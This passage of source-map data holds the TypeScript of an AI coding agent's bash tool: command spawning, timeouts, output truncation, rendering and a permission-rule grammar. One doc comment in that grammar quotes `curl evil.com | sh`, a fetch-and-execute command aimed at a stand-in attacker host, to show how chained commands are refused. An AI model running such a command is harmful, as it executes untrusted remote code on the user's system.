seconds`);\n\t}\n\treturn timeoutMs;\n}\n\nconst bashSchema = Type.Object({\n\tcommand: Type.String({ description: \"Bash command to execute\" }),\n\ttimeout: Type.Optional(Type.Number({ description: \"Timeout in seconds (optional, no default timeout)\" })),\n});\n\nexport const bashToolSystemPromptContribution = {\n\tsnippet: \"Execute bash commands (ls, grep, find, etc.)\",\n\tguidelines: [\"You can inspect PI_* environment variables for current model and session details.\"],\n} as const;\n\nexport type BashToolInput = Static<typeof bashSchema>;\n\nexport interface BashToolDetails {\n\ttruncation?: TruncationResult;\n\tfullOutputPath?: string;\n}\n\n/**\n * Pluggable operations for the bash tool.\n * Override these to delegate command execution to remote systems (for example SSH).\n */\nexport interface BashOperations {\n\t/**\n\t * Execute a command and stream output.\n\t * @param command The command to execute\n\t * @param cwd Working directory\n\t * @param options Execution options\n\t * @returns Promise resolving to exit code (null if killed)\n\t */\n\texec: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tsignal?: AbortSignal;\n\t\t\ttimeout?: number;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<{ exitCode: number | null }>;\n}\n\n/**\n * Create bash operations using pi's built-in local shell execution backend.\n *\n * This is useful for extensions that intercept user_bash and still want pi's\n * standard local shell behavior while wrapping or rewriting commands.\n */\nexport function createLocalBashOperations(options?: { shellPath?: string }): BashOperations {\n\treturn {\n\t\texec: async (command, cwd, { onData, signal, timeout, env }) => {\n\t\t\tconst timeoutMs = resolveTimeoutMs(timeout);\n\t\t\tif (signal?.aborted) {\n\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t}\n\t\t\tconst shellConfig = getShellConfig(options?.shellPath);\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute bash commands.`);\n\t\t\t}\n\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tlet timedOut = false;\n\t\t\tlet timeoutHandle: NodeJS.Timeout | undefined;\n\t\t\tconst onAbort = () => {\n\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t};\n\n\t\t\ttry {\n\t\t\t\t// Set timeout if provided.\n\t\t\t\tif (timeoutMs !== undefined) {\n\t\t\t\t\ttimeoutHandle = setTimeout(() => {\n\t\t\t\t\t\ttimedOut = true;\n\t\t\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t\t\t}, timeoutMs);\n\t\t\t\t}\n\t\t\t\t// Stream stdout and stderr.\n\t\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\t\t// Handle abort signal by killing the entire process tree.\n\t\t\t\tif (signal) {\n\t\t\t\t\tif (signal.aborted) onAbort();\n\t\t\t\t\telse signal.addEventListener(\"abort\", onAbort, { once: true });\n\t\t\t\t}\n\t\t\t\t// Handle shell spawn errors and wait for the process to terminate without hanging\n\t\t\t\t// on inherited stdio handles held by detached descendants.\n\t\t\t\tconst exitCode = await waitForChildProcess(child);\n\t\t\t\tif (signal?.aborted) {\n\t\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t\t}\n\t\t\t\tif (timedOut) {\n\t\t\t\t\tthrow new Error(`timeout:${timeout}`);\n\t\t\t\t}\n\t\t\t\treturn { exitCode };\n\t\t\t} finally {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t\tif (timeoutHandle) clearTimeout(timeoutHandle);\n\t\t\t\tif (signal) signal.removeEventListener(\"abort\", onAbort);\n\t\t\t}\n\t\t},\n\t};\n}\n\nexport interface BashSpawnContext {\n\tcommand: string;\n\tcwd: string;\n\tenv: NodeJS.ProcessEnv;\n}\n\nexport type BashSpawnHook = (context: BashSpawnContext) => BashSpawnContext;\n\nfunction resolveSpawnContext(\n\tcommand: string,\n\tcwd: string,\n\tspawnHook: BashSpawnHook | undefined,\n\texposeSessionEnvironment: boolean,\n\tctx: ExtensionContext | undefined,\n): BashSpawnContext {\n\tconst env = { ...getShellEnv() };\n\tdelete env.PI_SESSION_ID;\n\tdelete env.PI_SESSION_FILE;\n\tdelete env.PI_PROVIDER;\n\tdelete env.PI_MODEL;\n\tdelete env.PI_REASONING_LEVEL;\n\tif (exposeSessionEnvironment && ctx) {\n\t\tconst model = ctx.model;\n\t\tenv.PI_SESSION_ID = ctx.sessionManager.getSessionId();\n\t\tconst sessionFile = ctx.sessionManager.getSessionFile();\n\t\tif (sessionFile) env.PI_SESSION_FILE = sessionFile;\n\t\tif (model) {\n\t\t\tenv.PI_PROVIDER = model.provider;\n\t\t\tenv.PI_MODEL = model.id;\n\t\t}\n\t\tif (ctx.thinkingLevel) env.PI_REASONING_LEVEL = ctx.thinkingLevel;\n\t}\n\tconst baseContext: BashSpawnContext = { command, cwd, env };\n\treturn spawnHook ? spawnHook(baseContext) : baseContext;\n}\n\nexport interface BashToolOptions {\n\t/** Custom operations for command execution. Default: local shell */\n\toperations?: BashOperations;\n\t/** Command prefix prepended to every command (for example shell setup commands) */\n\tcommandPrefix?: string;\n\t/** Optional explicit shell path from settings */\n\tshellPath?: string;\n\t/** Expose current Pi session metadata as PI_* environment variables. Default: true */\n\texposeSessionEnvironment?: boolean;\n\t/** Hook to adjust command, cwd, or env before execution */\n\tspawnHook?: BashSpawnHook;\n}\n\nconst BASH_PREVIEW_LINES = 5;\nconst BASH_UPDATE_THROTTLE_MS = 100;\n\ntype BashRenderState = {\n\tstartedAt: number | undefined;\n\tendedAt: number | undefined;\n\tinterval: NodeJS.Timeout | undefined;\n};\n\ntype BashResultRenderState = {\n\tcachedWidth: number | undefined;\n\tcachedLines: string[] | undefined;\n\tcachedSkipped: number | undefined;\n};\n\nclass BashResultRenderComponent extends Container {\n\tstate: BashResultRenderState = {\n\t\tcachedWidth: undefined,\n\t\tcachedLines: undefined,\n\t\tcachedSkipped: undefined,\n\t};\n}\n\nfunction formatDuration(ms: number): string {\n\treturn `${(ms / 1000).toFixed(1)}s`;\n}\n\nfunction formatBashCall(args: { command?: string; timeout?: number } | undefined): string {\n\tconst command = str(args?.command);\n\tconst timeout = args?.timeout as number | undefined;\n\tconst timeoutSuffix = timeout ? theme.fg(\"muted\", ` (timeout ${timeout}s)`) : \"\";\n\tconst commandDisplay = command === null ? invalidArgText(theme) : command ? command : theme.fg(\"toolOutput\", \"...\");\n\treturn theme.fg(\"toolTitle\", theme.bold(`$ ${commandDisplay}`)) + timeoutSuffix;\n}\n\nfunction rebuildBashResultRenderComponent(\n\tcomponent: BashResultRenderComponent,\n\tresult: {\n\t\tcontent: Array<{ type: string; text?: string; data?: string; mimeType?: string }>;\n\t\tdetails?: BashToolDetails;\n\t},\n\toptions: ToolRenderResultOptions,\n\tshowImages: boolean,\n\tstartedAt: number | undefined,\n\tendedAt: number | undefined,\n): void {\n\tconst state = component.state;\n\tcomponent.clear();\n\n\tlet output = getTextOutput(result as any, showImages).trim();\n\tconst truncation = result.details?.truncation;\n\tconst fullOutputPath = result.details?.fullOutputPath;\n\tif (!options.isPartial && truncation?.truncated && fullOutputPath && output.endsWith(\"]\")) {\n\t\tconst footerStart = output.lastIndexOf(\"\\n\\n[\");\n\t\tif (footerStart !== -1 && output.slice(footerStart).includes(fullOutputPath)) {\n\t\t\toutput = output.slice(0, footerStart).trimEnd();\n\t\t}\n\t}\n\n\tif (output) {\n\t\tconst styledOutput = output\n\t\t\t.split(\"\\n\")\n\t\t\t.map((line) => theme.fg(\"toolOutput\", line))\n\t\t\t.join(\"\\n\");\n\n\t\tif (options.expanded) {\n\t\t\tcomponent.addChild(new Text(`\\n${styledOutput}`, 0, 0));\n\t\t} else {\n\t\t\tcomponent.addChild({\n\t\t\t\trender: (width: number) => {\n\t\t\t\t\tif (state.cachedLines === undefined || state.cachedWidth !== width) {\n\t\t\t\t\t\tconst preview = truncateToVisualLines(styledOutput, BASH_PREVIEW_LINES, width);\n\t\t\t\t\t\tstate.cachedLines = preview.visualLines;\n\t\t\t\t\t\tstate.cachedSkipped = preview.skippedCount;\n\t\t\t\t\t\tstate.cachedWidth = width;\n\t\t\t\t\t}\n\t\t\t\t\tif (state.cachedSkipped && state.cachedSkipped > 0) {\n\t\t\t\t\t\tconst hint =\n\t\t\t\t\t\t\ttheme.fg(\"muted\", `... (${state.cachedSkipped} earlier lines,`) +\n\t\t\t\t\t\t\t` ${keyHint(\"app.tools.expand\", \"to expand\")}${theme.fg(\"muted\", \")\")}`;\n\t\t\t\t\t\treturn [\"\", truncateToWidth(hint, width, \"...\"), ...(state.cachedLines ?? [])];\n\t\t\t\t\t}\n\t\t\t\t\treturn [\"\", ...(state.cachedLines ?? [])];\n\t\t\t\t},\n\t\t\t\tinvalidate: () => {\n\t\t\t\t\tstate.cachedWidth = undefined;\n\t\t\t\t\tstate.cachedLines = undefined;\n\t\t\t\t\tstate.cachedSkipped = undefined;\n\t\t\t\t},\n\t\t\t});\n\t\t}\n\t}\n\n\tif (truncation?.truncated || fullOutputPath) {\n\t\tconst warnings: string[] = [];\n\t\tif (fullOutputPath) {\n\t\t\twarnings.push(`Full output: ${fullOutputPath}`);\n\t\t}\n\t\tif (truncation?.truncated) {\n\t\t\tif (truncation.truncatedBy === \"lines\") {\n\t\t\t\twarnings.push(`Truncated: showing ${truncation.outputLines} of ${truncation.totalLines} lines`);\n\t\t\t} else {\n\t\t\t\twarnings.push(\n\t\t\t\t\t`Truncated: ${truncation.outputLines} lines shown (${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit)`,\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"warning\", `[${warnings.join(\". \")}]`)}`, 0, 0));\n\t}\n\n\tif (startedAt !== undefined) {\n\t\tconst label = options.isPartial ? \"Elapsed\" : \"Took\";\n\t\tconst endTime = endedAt ?? Date.now();\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"muted\", `${label} ${formatDuration(endTime - startedAt)}`)}`, 0, 0));\n\t}\n}\n\nexport function createBashToolDefinition(\n\tcwd: string,\n\toptions?: BashToolOptions,\n): ToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\tconst ops = options?.operations ?? createLocalBashOperations({ shellPath: options?.shellPath });\n\tconst commandPrefix = options?.commandPrefix;\n\tconst exposeSessionEnvironment = options?.exposeSessionEnvironment ?? true;\n\tconst spawnHook = options?.spawnHook;\n\treturn {\n\t\tname: \"bash\",\n\t\tlabel: \"bash\",\n\t\tdescription: `Execute a bash command in the current working directory. Returns stdout and stderr. Output is truncated to last ${DEFAULT_MAX_LINES} lines or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). If truncated, full output is saved to a temp file. Optionally provide a timeout in seconds.`,\n\t\tpromptSnippet: bashToolSystemPromptContribution.snippet,\n\t\tpromptGuidelines: exposeSessionEnvironment ? [...bashToolSystemPromptContribution.guidelines] : undefined,\n\t\tparameters: bashSchema,\n\t\tasync execute(\n\t\t\t_toolCallId,\n\t\t\t{ command, timeout }: { command: string; timeout?: number },\n\t\t\tsignal?: AbortSignal,\n\t\t\tonUpdate?,\n\t\t\tctx?,\n\t\t) {\n\t\t\tconst resolvedCommand = commandPrefix ? `${commandPrefix}\\n${command}` : command;\n\t\t\tconst spawnContext = resolveSpawnContext(resolvedCommand, cwd, spawnHook, exposeSessionEnvironment, ctx);\n\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: \"pi-bash\" });\n\t\t\tlet acceptingOutput = true;\n\t\t\tlet updateTimer: NodeJS.Timeout | undefined;\n\t\t\tlet updateDirty = false;\n\t\t\tlet lastUpdateAt = 0;\n\n\t\t\tconst emitOutputUpdate = () => {\n\t\t\t\tif (!onUpdate || !updateDirty) return;\n\t\t\t\tupdateDirty = false;\n\t\t\t\tlastUpdateAt = Date.now();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tonUpdate({\n\t\t\t\t\tcontent: [{ type: \"text\", text: snapshot.content || \"\" }],\n\t\t\t\t\tdetails: {\n\t\t\t\t\t\ttruncation: snapshot.truncation.truncated ? snapshot.truncation : undefined,\n\t\t\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\t\t},\n\t\t\t\t});\n\t\t\t};\n\n\t\t\tconst clearUpdateTimer = () => {\n\t\t\t\tif (updateTimer) {\n\t\t\t\t\tclearTimeout(updateTimer);\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t}\n\t\t\t};\n\n\t\t\tconst scheduleOutputUpdate = () => {\n\t\t\t\tif (!onUpdate) return;\n\t\t\t\tupdateDirty = true;\n\t\t\t\tconst delay = BASH_UPDATE_THROTTLE_MS - (Date.now() - lastUpdateAt);\n\t\t\t\tif (delay <= 0) {\n\t\t\t\t\tclearUpdateTimer();\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tupdateTimer ??= setTimeout(() => {\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t}, delay);\n\t\t\t};\n\n\t\t\tif (onUpdate) {\n\t\t\t\tonUpdate({ content: [], details: undefined });\n\t\t\t}\n\n\t\t\tconst handleData = (data: Buffer) => {\n\t\t\t\tif (!acceptingOutput) return;\n\t\t\t\toutput.append(data);\n\t\t\t\tscheduleOutputUpdate();\n\t\t\t};\n\n\t\t\tconst finishOutput = async () => {\n\t\t\t\tacceptingOutput = false;\n\t\t\t\toutput.finish();\n\t\t\t\tclearUpdateTimer();\n\t\t\t\temitOutputUpdate();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tawait output.closeTempFile();\n\t\t\t\treturn snapshot;\n\t\t\t};\n\n\t\t\tconst formatOutput = (snapshot: Awaited<ReturnType<typeof finishOutput>>, emptyText = \"(no output)\") => {\n\t\t\t\tconst truncation = snapshot.truncation;\n\t\t\t\tlet text = snapshot.content || emptyText;\n\t\t\t\tlet details: BashToolDetails | undefined;\n\t\t\t\tif (truncation.truncated) {\n\t\t\t\t\tdetails = { truncation, fullOutputPath: snapshot.fullOutputPath };\n\t\t\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\t\t\tconst endLine = truncation.totalLines;\n\t\t\t\t\tif (truncation.lastLinePartial) {\n\t\t\t\t\t\tconst lastLineSize = formatSize(output.getLastLineBytes());\n\t\t\t\t\t\ttext += `\\n\\n[Showing last ${formatSize(truncation.outputBytes)} of line ${endLine} (line is ${lastLineSize}). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else if (truncation.truncatedBy === \"lines\") {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines} (${formatSize(DEFAULT_MAX_BYTES)} limit). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn { text, details };\n\t\t\t};\n\n\t\t\tconst appendStatus = (text: string, status: string) => `${text ? `${text}\\n\\n` : \"\"}${status}`;\n\n\t\t\ttry {\n\t\t\t\tlet exitCode: number | null;\n\t\t\t\ttry {\n\t\t\t\t\tconst result = await ops.exec(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\t\tonData: handleData,\n\t\t\t\t\t\tsignal,\n\t\t\t\t\t\ttimeout,\n\t\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\t});\n\t\t\t\t\texitCode = result.exitCode;\n\t\t\t\t} catch (err) {\n\t\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\t\tconst { text } = formatOutput(snapshot, \"\");\n\t\t\t\t\tif (err instanceof Error && err.message === \"aborted\") {\n\t\t\t\t\t\tthrow new Error(appendStatus(text, \"Command aborted\"));\n\t\t\t\t\t}\n\t\t\t\t\tif (err instanceof Error && err.message.startsWith(\"timeout:\")) {\n\t\t\t\t\t\tconst timeoutSecs = err.message.split(\":\")[1];\n\t\t\t\t\t\tthrow new Error(appendStatus(text, `Command timed out after ${timeoutSecs} seconds`));\n\t\t\t\t\t}\n\t\t\t\t\tthrow err;\n\t\t\t\t}\n\n\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\tconst { text: outputText, details } = formatOutput(snapshot);\n\t\t\t\tif (exitCode !== 0 && exitCode !== null) {\n\t\t\t\t\tthrow new Error(appendStatus(outputText, `Command exited with code ${exitCode}`));\n\t\t\t\t}\n\t\t\t\treturn { content: [{ type: \"text\", text: outputText }], details };\n\t\t\t} finally {\n\t\t\t\tclearUpdateTimer();\n\t\t\t}\n\t\t},\n\t\trenderCall(args, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (context.executionStarted && state.startedAt === undefined) {\n\t\t\t\tstate.startedAt = Date.now();\n\t\t\t\tstate.endedAt = undefined;\n\t\t\t}\n\t\t\tconst text = (context.lastComponent as Text | undefined) ?? new Text(\"\", 0, 0);\n\t\t\ttext.setText(formatBashCall(args));\n\t\t\treturn text;\n\t\t},\n\t\trenderResult(result, options, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (state.startedAt !== undefined && options.isPartial && !state.interval) {\n\t\t\t\tstate.interval = setInterval(() => context.invalidate(), 1000);\n\t\t\t}\n\t\t\tif (!options.isPartial || context.isError) {\n\t\t\t\tstate.endedAt ??= Date.now();\n\t\t\t\tif (state.interval) {\n\t\t\t\t\tclearInterval(state.interval);\n\t\t\t\t\tstate.interval = undefined;\n\t\t\t\t}\n\t\t\t}\n\t\t\tconst component =\n\t\t\t\t(context.lastComponent as BashResultRenderComponent | undefined) ?? new BashResultRenderComponent();\n\t\t\trebuildBashResultRenderComponent(\n\t\t\t\tcomponent,\n\t\t\t\tresult as any,\n\t\t\t\toptions,\n\t\t\t\tcontext.showImages,\n\t\t\t\tstate.startedAt,\n\t\t\t\tstate.endedAt,\n\t\t\t);\n\t\t\tcomponent.invalidate();\n\t\t\treturn component;\n\t\t},\n\t};\n}\n\nexport function createBashTool(cwd: string, options?: BashToolOptions): AgentTool<typeof bashSchema> {\n\tconst definition = createBashToolDefinition(cwd, options);\n\tconst tool = wrapToolDefinition(definition);\n\tObject.assign(tool, {\n\t\tpromptSnippet: definition.promptSnippet,\n\t\tpromptGuidelines: definition.promptGuidelines,\n\t});\n\treturn tool;\n}\n"]}
|
|
1
|
+
{"version":3,"file":"bash.d.ts","sourceRoot":"","sources":["../../../src/core/tools/bash.ts"],"names":[],"mappings":"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","sourcesContent":["import { constants } from \"node:fs\";\nimport { access as fsAccess } from \"node:fs/promises\";\nimport { Container, Text, truncateToWidth } from \"@earendil-works/pi-tui\";\nimport { type AgentTool, ToolExecutionError } from \"apex-code-agent-core\";\nimport { spawn } from \"child_process\";\nimport { type Static, Type } from \"typebox\";\nimport { keyHint } from \"../../modes/interactive/components/keybinding-hints.ts\";\nimport { truncateToVisualLines } from \"../../modes/interactive/components/visual-truncate.ts\";\nimport { theme } from \"../../modes/interactive/theme/theme.ts\";\nimport { waitForChildProcess } from \"../../utils/child-process.ts\";\nimport {\n\tgetShellConfig,\n\tgetShellEnv,\n\tkillProcessTree,\n\ttrackDetachedChildPid,\n\tuntrackDetachedChildPid,\n} from \"../../utils/shell.ts\";\nimport { setApexEnvironment } from \"../environment.ts\";\nimport type { ExtensionContext, ToolRenderResultOptions } from \"../extensions/types.ts\";\nimport { classifyBashCommand } from \"./bash-command-segments.ts\";\nimport type { ApexToolDefinition, PermissionSpec } from \"./contract.ts\";\nimport { OutputAccumulator } from \"./output-accumulator.ts\";\nimport { getTextOutput, invalidArgText, str } from \"./render-utils.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\nimport { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, formatSize, type TruncationResult } from \"./truncate.ts\";\n\nconst MAX_TIMEOUT_MS = 2_147_483_647;\nconst MAX_TIMEOUT_SECONDS = MAX_TIMEOUT_MS / 1000;\n\nfunction resolveTimeoutMs(timeout: number | undefined): number | undefined {\n\tif (timeout === undefined) return undefined;\n\tif (!Number.isFinite(timeout) || timeout <= 0) {\n\t\tthrow new Error(\"Invalid timeout: must be a finite number of seconds\");\n\t}\n\n\tconst timeoutMs = timeout * 1000;\n\tif (timeoutMs > MAX_TIMEOUT_MS) {\n\t\tthrow new Error(`Invalid timeout: maximum is ${MAX_TIMEOUT_SECONDS} seconds`);\n\t}\n\treturn timeoutMs;\n}\n\nconst bashSchema = Type.Object({\n\tcommand: Type.String({ description: \"Bash command to execute\" }),\n\ttimeout: Type.Optional(Type.Number({ description: \"Timeout in seconds (optional, no default timeout)\" })),\n});\n\nexport const bashToolSystemPromptContribution = {\n\tsnippet: \"Execute bash commands (ls, grep, find, etc.)\",\n\tguidelines: [\"You can inspect PI_* environment variables for current model and session details.\"],\n} as const;\n\nexport type BashToolInput = Static<typeof bashSchema>;\n\nfunction normalizeSegment(text: string): string {\n\treturn text.trim().replace(/\\s+/g, \" \");\n}\n\n/**\n * A rule matches a segment either by exact text, or — when it ends with the `:*`\n * suffix convention (e.g. `git commit:*`) — by prefix: the segment must equal the\n * prefix or start with the prefix followed by a space. `git commit:*` therefore\n * matches `git commit` and `git commit -m x`, but not `git commitment` (word\n * boundary enforced) and not an unrelated segment in the same chained command.\n */\nfunction segmentMatchesRule(segment: string, ruleContent: string): boolean {\n\tconst normalizedSegment = normalizeSegment(segment);\n\tconst normalizedRule = normalizeSegment(ruleContent);\n\tif (normalizedRule.endsWith(\":*\")) {\n\t\tconst prefix = normalizedRule.slice(0, -2).trim();\n\t\tif (!prefix) return false;\n\t\treturn normalizedSegment === prefix || normalizedSegment.startsWith(`${prefix} `);\n\t}\n\treturn normalizedSegment === normalizedRule;\n}\n\n/**\n * bash's permission grammar (ADR 0004). A rule authorizes a call only if the\n * command decomposes cleanly into segments (never on \"unparseable\") and **every**\n * segment matches — a narrow rule like `git commit:*` can never authorize\n * `git commit -m x && curl evil.com | sh`, because `curl evil.com` and `sh` are\n * separate segments that do not match it.\n *\n * `ruleForCall` only generalizes a single-segment command: a multi-segment chain\n * has no single non-trivial rule that captures exactly what it did, and returning\n * one would either over-authorize (if loose) or be indistinguishable from an exact\n * match (if not) — `null` correctly forces `ask` for \"always allow this\" on a chain.\n */\nexport function createBashPermissionSpec(): PermissionSpec<typeof bashSchema> {\n\treturn {\n\t\tdefaultBehavior: \"ask\",\n\t\tmatches(ruleContent, params) {\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\tif (classification.type !== \"segments\") return false;\n\t\t\treturn classification.segments.every((segment) => segmentMatchesRule(segment, ruleContent));\n\t\t},\n\t\tdescribe(ruleContent) {\n\t\t\treturn `Run bash commands matching \"${ruleContent}\"`;\n\t\t},\n\t\truleForCall(params) {\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\tif (classification.type !== \"segments\" || classification.segments.length !== 1) return null;\n\t\t\treturn normalizeSegment(classification.segments[0]);\n\t\t},\n\t};\n}\n\nexport interface BashExecutionFacts {\n\tcwd: string;\n\texecutable?: string;\n\targv?: string[];\n\texitCode: number | null;\n}\n\nexport interface BashToolDetails {\n\ttruncation?: TruncationResult;\n\tfullOutputPath?: string;\n\t/** Facts observed at the source execution boundary; never rendered as output. */\n\texecution?: BashExecutionFacts;\n}\n\n/**\n * Pluggable operations for the bash tool.\n * Override these to delegate command execution to remote systems (for example SSH).\n */\nexport interface BashOperations {\n\t/**\n\t * Execute a command and stream output.\n\t * @param command The command to execute\n\t * @param cwd Working directory\n\t * @param options Execution options\n\t * @returns Promise resolving to exit code (null if killed)\n\t */\n\texec: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tsignal?: AbortSignal;\n\t\t\ttimeout?: number;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<{ exitCode: number | null; executable?: string; argv?: string[] }>;\n}\n\n/**\n * Create bash operations using pi's built-in local shell execution backend.\n *\n * This is useful for extensions that intercept user_bash and still want pi's\n * standard local shell behavior while wrapping or rewriting commands.\n */\nexport function createLocalBashOperations(options?: { shellPath?: string }): BashOperations {\n\treturn {\n\t\texec: async (command, cwd, { onData, signal, timeout, env }) => {\n\t\t\tconst timeoutMs = resolveTimeoutMs(timeout);\n\t\t\tif (signal?.aborted) {\n\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t}\n\t\t\tconst shellConfig = getShellConfig(options?.shellPath);\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute bash commands.`);\n\t\t\t}\n\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? 